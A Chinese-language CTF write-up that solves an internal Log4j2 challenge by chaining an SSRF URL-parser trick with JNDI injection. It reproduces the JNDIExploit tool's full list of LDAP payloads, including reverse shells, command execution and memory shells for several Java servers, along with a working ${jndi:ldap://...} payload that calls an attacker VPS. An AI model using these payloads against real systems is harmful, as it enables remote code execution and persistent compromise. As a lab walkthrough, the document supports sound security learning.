一道关于 Log4j2 的 CTF 题目 1. 题目介绍 这是一道公司内部的 CTF 拉练题目,选择了前段时间刚被爆出的 Log4j2 漏洞,打开后发现是个登录框。
2. 题目分析 分析 URL 可以发现登录框在登录后会跳转到 GET 变量 redirect 指定值,该变量值会通过 URI.getHost() 函数检查 URL 完整度。由于题目说了是 Log4j2,尝试使用 payload 去验证,直接使用 DNSLog 外带被拒绝。
根据文章 https://www.blackhat.com/docs/us-17/thursday/us- 17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 可知,在解析 URL 完整性的过程中,PHP 会将 google.com 认定为 authority,而 @evil.com 在锚点 # 后面会被认定为 fragment,最后由于 @ 在 URL 中的特殊性,会导致在 PHP 中被解析地址为 evil.com。
同样的解析过程也会出现在 JAVA 的 URI.getHost() 中。
3. 解题过程 将 URL 定向到我们自己 VPS NC 监听的端口,服务器会发起一个 SSRF 请求,并且请求的内容会被 Log4j2 记录下来(转成 POST 传参是为了不用去编码,原本的 GET 型传参也是可以实现的,只是需要将 URL 进行编码)。
这里我们使用 JNDIExploit (https://github.com/Mr-xn/JNDIExploit-1) 工具,它继承自 JNDI-Injection-Exploit (https://github.com/welk1n/JNDI-Injection-Exploit),并在此基础上添加了各种高版本 JDK 的绕过方法。使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数。
Usage: java -jar JNDIExploit.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false ) -h, --help Show this help 使用 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [VPS IP] 执行后会启用一个 LDAP 服务和一个 HTTP 服务。
使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式。
Supported LADP Queries * all words are case INSENSITIVE when send to ldap server [+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g. ldap://127.0.0.1:1389/Basic/Dnslog/[domain] ldap://127.0.0.1:1389/Basic/Command/[cmd] ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/Basic/TomcatEcho ldap://127.0.0.1:1389/Basic/SpringEcho ldap://127.0.0.1:1389/Basic/WeblogicEcho ldap://127.0.0.1:1389/Basic/TomcatMemshell1 ldap://127.0.0.1:1389/Basic/TomcatMemshell2 ---need extra header [Shell: true ] ldap://127.0.0.1:1389/Basic/JettyMemshell ldap://127.0.0.1:1389/Basic/WeblogicMemshell1 ldap://127.0.0.1:1389/Basic/WeblogicMemshell2 ldap://127.0.0.1:1389/Basic/JBossMemshell ldap://127.0.0.1:1389/Basic/WebsphereMemshell ldap://127.0.0.1:1389/Basic/SpringMemshell [+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g. ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain] ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain] ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1 ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1 ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells [+] TomcatBypass Queries ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain] ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd] ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho ldap://127.0.0.1:1389/TomcatBypass/SpringEcho ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1 ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2 ---need extra header [Shell: true ] ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell [+] GroovyBypass Queries ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd] ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd] [+] WebsphereBypass Queries ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmpDnslog: 用于产生一个 DNS 请求,与 DNSLog 平台配合使用,对 Linux/Windows 进行了简单的适配Command: 用于执行命令,如果命令有特殊字符,支持对命令进行 Base64 编码后传输ReverseShell: 用于 Linux 系统的反弹 shell,方便使用TomcatEcho: 用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义 header cmd: whoami 的方式传递想要执行的命令SpringEcho: 用于在框架为 SpringMVC/SpringBoot 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令WeblogicEcho: 用于在中间件为 Weblogic 时命令执行结果的回显,通过添加自定义 header cmd: whoami 的方式传递想要执行的命令TomcatMemshell1: 用于植入 Tomcat 内存 shell, 支持 Behinder shell 与 Basic cmd shellTomcatMemshell2: 用于植入 Tomcat 内存 shell, 支持 Behinder shell 与 Basic cmd shell, 使用时需要添加额外的 HTTP Header Shell: true,推荐使用此方式SpringMemshell: 用于植入 Spring 内存 shell, 支持 Behinder shell 与 Basic cmd shellWeblogicMemshell1: 用于植入 Weblogic 内存 shell, 支持 Behinder shell 与 Basic cmd shellWeblogicMemshell2: 用于植入 Weblogic 内存 shell, 支持 Behinder shell 与 Basic cmd shell,推荐使用此方式JettyMemshell: 用于植入 Jetty 内存 shell, 支持 Behinder shell 与 Basic cmd shellJBossMemshell: 用于植入 JBoss 内存 shell, 支持 Behinder shell 与 Basic cmd shellWebsphereMemshell: 用于植入 Websphere 内存 shell, 支持 Behinder shell 与 Basic cmd shellWebsphereBypass 中的 3 个动作:list:基于 XXE 查看目标服务器上的目录或文件内容upload:基于 XXE 的 jar 协议将恶意 jar 包上传至目标服务器的临时目录rce:加载已上传至目标服务器临时目录的 jar 包,从而达到远程代码执行的效果(这一步本地未复现成功,抛 java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed. 异常,有复现成功的小伙伴麻烦指导下)介绍完了工具我们接着做题,在我们的 VPS 服务器上起一个 Web 服务,可以使用 apache 或者 nginx,也可以直接起 Python 的简易服务 python3 -m http.server 端口号,将 ${jndi:ldap://45.xxx.xx.xxx:1389/TomcatBypass/TomcatEcho} 写入到 Web 目录下的 index.html,最后 SSRF 访问该 html 执行命令,读取到 Flag。
运行工具,启动服务。
index.html 文件内容。
在数据包中增加自定义 header cmd: 要执行的命令,redirect 参数则设置为我们 VPS 服务上的 index.html 文件,可以列出到 / 目录下的所有文件。
将上面的命令修改为读取 fllaagggg 文件即可获取到 flag。
4. 文献参考 JNDIExploit:https://github.com/Mr-xn/JNDIExploit-1 记一次 vulfocus 靶场 log4j2 命令执行漏洞复现:https://www.cnblogs.com/zdcool/p/15722272.html